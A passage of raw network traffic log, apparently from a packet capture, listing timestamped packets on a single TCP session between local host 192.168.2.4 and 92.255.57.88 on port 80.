Nov 26, 2024 00:07:47.730886936 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.730927944 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.731616974 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.731663942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.731724024 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.731765985 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.732419014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.732470036 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.732532024 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.732574940 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.733246088 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.733294964 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.733324051 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.733369112 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.734042883 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.734086990 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.734148026 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.734194040 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.734888077 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.734946012 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.734946012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.734985113 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.735661983 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.735707045 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.735745907 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.735784054 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.736448050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.736495018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.736582994 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.736628056 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.737246990 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.737292051 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.737330914 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.737371922 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.738055944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.738105059 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.738142967 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.738185883 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.738853931 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.738899946 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.738936901 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.738974094 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.739692926 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.739739895 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.739809990 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.739855051 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.740479946 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.740528107 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.740583897 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.740628004 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.741348028 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.741393089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.741456032 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.741498947 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.742105961 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.742151022 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.742208004 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.742250919 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.742924929 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.742974043 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.743019104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.743058920 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.743714094 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.743758917 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.743822098 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.743864059 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.744499922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.744546890 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.744609118 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.744654894 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.745305061 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.745349884 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.745415926 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.745457888 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.746148109 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.746206045 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.746244907 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.746289015 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.746912956 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.746956110 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.747023106 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.747064114 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.747724056 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.747783899 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.747819901 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.747858047 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.748526096 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.748570919 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.748585939 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.748621941 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.749357939 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.749398947 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.749440908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.749481916 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.750160933 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.750201941 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.750262976 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.750303984 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.750979900 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.751033068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.751075983 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.751121044 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.751790047 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.751840115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.751904964 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.752051115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.752600908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.752667904 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.752712011 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.752765894 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.753415108 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.753462076 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.753523111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.753568888 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.754203081 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.754250050 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.754303932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.754348993 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.754997969 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.755048037 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.755109072 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.755158901 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.755814075 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.755861998 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.755959988 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.756007910 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.756609917 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.756656885 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.756714106 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.756757021 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.757405996 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.757462978 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.757571936 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.757618904 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.758214951 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.758264065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.758279085 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.758320093 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.759041071 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.759087086 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.759119034 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.759162903 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.759854078 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.759902954 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.759934902 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.759987116 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.760664940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.760713100 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.760761023 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.760809898 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.761450052 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.761498928 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.761555910 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.761601925 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.762279987 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.762326956 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.762424946 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.762470961 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.763052940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.763103008 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.763184071 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.763232946 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.763858080 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.763900995 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.763964891 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.764008999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.764673948 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.764718056 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.764868975 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.764911890 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.765490055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.765535116 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.765580893 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.765619993 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.937973976 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.938007116 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.938060999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.938092947 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.938103914 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.938139915 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.938169003 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.938213110 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.939084053 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.939131975 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.939173937 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.939214945 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.939690113 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.939730883 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.939805031 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.939846992 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.940329075 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.940372944 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.940412998 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.940454960 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.940876007 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.940924883 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.940953016 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.940992117 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.941380978 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.941421032 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.941445112 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.941462040 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.941838026 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.941895008 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.941961050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.942007065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.942423105 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.942471027 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.942500114 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.942547083 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.942917109 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.942965984 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.943031073 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.943088055 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.943479061 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.943526983 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.943577051 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.943625927 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.943907976 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.943958044 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.943964005 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.944001913 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.944324970 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.944379091 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.944386959 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.944408894 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.944830894 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.944880009 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.944914103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.944960117 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.945303917 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.945353985 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.945499897 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.945553064 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.946772099 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.946825981 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.946878910 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.946928024 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.948296070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.948374033 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.948476076 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.948523998 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.948714018 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.948760986 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.948831081 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.948879957 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.949315071 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.949362993 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.949394941 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.949444056 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.949902058 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.949949026 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.949981928 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.950027943 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.950418949 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.950469971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.950501919 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.950550079 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.950943947 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.950984955 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.950998068 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.951036930 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.951586962 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.951631069 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.951693058 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.951734066 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.952948093 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.953000069 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.953057051 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.953100920 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.953212023 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.953253984 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.953337908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.953382015 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.954042912 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.954102993 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.954123974 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.954170942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.954828978 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.954874992 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.954941988 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.954984903 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.955656052 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.955701113 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.955709934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.955749989 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.956449986 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.956510067 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.956681967 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.956731081 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.957283974 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.957328081 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.957412958 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.957459927 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.958105087 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.958152056 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.958214045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.958257914 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.958864927 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.958941936 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.959013939 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.959058046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.959757090 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.959805012 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.959819078 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.959861040 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.960504055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.960562944 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.960602045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.960647106 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.961474895 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.961522102 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.961615086 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.961658001 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.962090969 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.962136030 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.962233067 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.962276936 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.962933064 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.962979078 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.963054895 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.963098049 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.963748932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.963793993 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.963887930 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.963931084 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.964764118 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.964811087 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.964900970 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.964943886 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.965311050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.965356112 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.965389013 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.965432882 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.966139078 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.966186047 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.966240883 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.966298103 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:47.966941118 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:47.966986895 CET	49753	80	192.168.2.4	92.255.57.88
